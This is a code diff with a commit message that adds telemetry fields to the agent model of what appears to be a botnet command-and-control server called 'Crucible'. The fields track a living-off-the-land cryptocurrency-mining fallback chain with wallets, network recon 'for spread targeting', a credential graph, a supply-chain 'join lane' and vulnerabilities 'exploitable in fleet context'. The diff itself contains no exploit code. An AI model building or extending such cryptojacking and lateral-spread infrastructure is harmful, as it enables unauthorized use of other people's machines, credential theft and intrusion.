Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/models/agent.go

@@ -1,6 +1,9 @@
 package models
 
-import "time"
+import (
+	"encoding/json"
+	"time"
+)
 
 type Agent struct {
 	ID        string    `json:"id"`
@@ -63,6 +66,29 @@ type Agent struct {
 	GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
 	GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`
 
+	// Mining fallback cascade
+	ActiveMethod    string `json:"active_method,omitempty"`
+	MiningLastError string `json:"last_error,omitempty"`
+	StratumOverlay  bool   `json:"stratum_overlay,omitempty"`
+	ChainExhausted  bool   `json:"chain_exhausted,omitempty"`
+	ChainOrder      []string `json:"chain_order,omitempty"`
+	FailedMethods   []struct {
+		Method string `json:"method"`
+		Reason string `json:"reason"`
+		At     string `json:"at"`
+	} `json:"failed_methods,omitempty"`
+
+	// LOTL tier onion telemetry
+	LOTLTier       string `json:"lotl_tier,omitempty"`
+	LOTLAttempts   []struct {
+		Tier       string `json:"tier"`
+		OK         bool   `json:"ok"`
+		Error      string `json:"error,omitempty"`
+		DurationMs int64  `json:"duration_ms"`
+		Wallet     string `json:"wallet,omitempty"`
+	} `json:"lotl_attempts,omitempty"`
+	MiningHashrate float64 `json:"mining_hashrate,omitempty"`
+
 	// GPU / Ravencoin mining
 	GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
 	GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
@@ -73,6 +99,9 @@ type Agent struct {
 	// Crucible — SSH status probed by the agent every ~60s
 	SSHAvailable *bool `json:"ssh_available,omitempty"`
 
+	// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
+	NetworkHints json.RawMessage `json:"network_hints,omitempty"`
+
 	// Defense posture + patch exposure — ATT&CK T1685/T1686.003
 	PostureScore    int      `json:"posture_score,omitempty"`
 	DefenderEnabled *bool    `json:"defender_enabled,omitempty"`
@@ -89,6 +118,23 @@ type Agent struct {
 
 	// T1007 System Service Discovery — fixed allowlist only
 	Services []AgentService `json:"services,omitempty"`
+
+	// Last successful discover_and_join supply-chain lane.
+	JoinLane string `json:"join_lane,omitempty"`
+
+	// Authorized fleet vulnerability recon (read-only LOTL probe tier)
+	VulnFindings  []VulnFinding `json:"vuln_findings,omitempty"`
+	VulnRiskScore *int          `json:"vuln_risk_score,omitempty"`
+}
+
+// VulnFinding mirrors agent vuln_findings stats payload.
+type VulnFinding struct {
+	CVEID                     string `json:"cve_id"`
+	Severity                  string `json:"severity"`
+	Component                 string `json:"component"`
+	Patched                   bool   `json:"patched"`
+	ExploitableInFleetContext bool   `json:"exploitable_in_fleet_context"`
+	Detail                    string `json:"detail,omitempty"`
 }
 
 // AgentService mirrors the ServiceStatus reported by the agent.